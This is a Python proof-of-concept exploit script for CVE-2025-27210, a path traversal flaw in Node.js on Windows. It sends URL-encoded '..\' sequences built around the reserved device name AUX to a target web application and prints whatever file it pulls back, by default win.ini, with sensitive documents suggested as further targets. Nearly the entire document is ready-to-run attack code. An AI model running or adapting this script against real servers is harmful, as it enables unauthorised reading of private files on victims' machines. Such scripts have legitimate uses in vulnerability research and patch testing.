# Exploit Title : NodeJS 24.x - Path Traversal # Exploit Author : Abdualhadi khalifa # CVE : CVE-2025-27210 import argparse import requests import urllib.parse import json import sys def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict: traverse_sequence = "..\\" * 6 normalized_target_file = target_file.replace("C:", "").lstrip("\\/") malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}" encoded_malicious_path = urllib.parse.quote(malicious_path, safe='') full_url = f"{target_url}/{encoded_malicious_path}" response_data = { "target_url": target_url, "target_file_attempted": target_file, "malicious_path_sent_raw": malicious_path, "malicious_path_sent_encoded": encoded_malicious_path, "full_request_url": full_url, "http_method": method, "success": False, "response_status_code": None, "response_content_length": None, "extracted_content": None, "error_message": None } try: print(f"[*] Preparing precise Path Traversal exploit...") print(f"[*] Malicious Path (Encoded): {encoded_malicious_path}") print(f"[*] Request URL: {full_url}") if method.upper() == 'GET': response = requests.get(full_url, timeout=15) elif method.upper() == 'POST': response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15) else: raise ValueError("Unsupported HTTP method. Use 'GET' or 'POST'.") response_data["response_status_code"] = response.status_code response_data["response_content_length"] = len(response.content) if response.status_code == 200: content = response.text response_data["extracted_content"] = content if target_file.lower().endswith("win.ini") and "[windows]" in content.lower(): response_data["success"] = True elif len(content) > 0: # For any other file, just check for non-empty content. response_data["success"] = True else: response_data["error_message"] = "Received 200 OK, but content is empty or unexpected." else: response_data["error_message"] = f"Server responded with non-200 status code: {response.status_code}" except requests.exceptions.Timeout: response_data["error_message"] = "Request timed out. Server might be slow or unresponsive." except requests.exceptions.ConnectionError: response_data["error_message"] = "Connection failed to target. Ensure the Node.js application is running and accessible." except ValueError as ve: response_data["error_message"] = str(ve) except Exception as e: response_data["error_message"] = f"An unexpected error occurred: {str(e)}" return response_data def main(): parser = argparse.ArgumentParser( prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py", description=""" Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210). This script leverages how Node.js functions (like path.normalize() or path.join()) might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal sequences. """, formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument( "-t", "--target", type=str, required=True, help="Base URL of the vulnerable Node.js application endpoint (e.g., http://localhost:3000/files)." ) parser.add_argument( "-f", "--file", type=str, default="C:\\Windows\\win.ini", help="""Absolute path to the target file on the Windows system. Examples: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx """ ) parser.add_argument( "-m", "--method", type=str, choices=["GET", "POST"], default="GET", help="HTTP method for the request ('GET' or 'POST')." ) args = parser.parse_args() # --- CLI Output Formatting --- print("\n" + "="*70) print(" CVE-2025-27210 Node.js Path Traversal Exploit PoC") print("="*70) print(f"[*] Target URL: {args.target}") print(f"[*] Target File: {args.file}") print(f"[*] HTTP Method: {args.method}") print("-"*70 + "\n") result = exploit_path_traversal_precise(args.target, args.file, args.method) print("\n" + "-"*70) print(" Exploit Results") print("-"*70) print(f" Request URL: {result['full_request_url']}") print(f" Malicious Path Sent (Raw): {result['malicious_path_sent_raw']}") print(f" Malicious Path Sent (Encoded): {result['malicious_path_sent_encoded']}") print(f" Response Status Code: {result['response_status_code']}") print(f" Response Content Length: {result['response_content_length']} bytes") if result["success"]: print("\n [+] File successfully retrieved! Content below:") print(" " + "="*66) print(result["extracted_content"]) print(" " + "="*66) else: print("\n [-] File retrieval failed or unexpected content received.") if result["error_message"]: print(f" Error: {result['error_message']}") elif result["extracted_content"]: print("\n Response content (partial, may indicate server error or unexpected data):") print(" " + "-"*66) # Truncate long content if not fully successful print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"]) print(" " + "-"*66) print("\n" + "="*70) print(" Complete") print("="*70 + "\n") if __name__ == "__main__": main()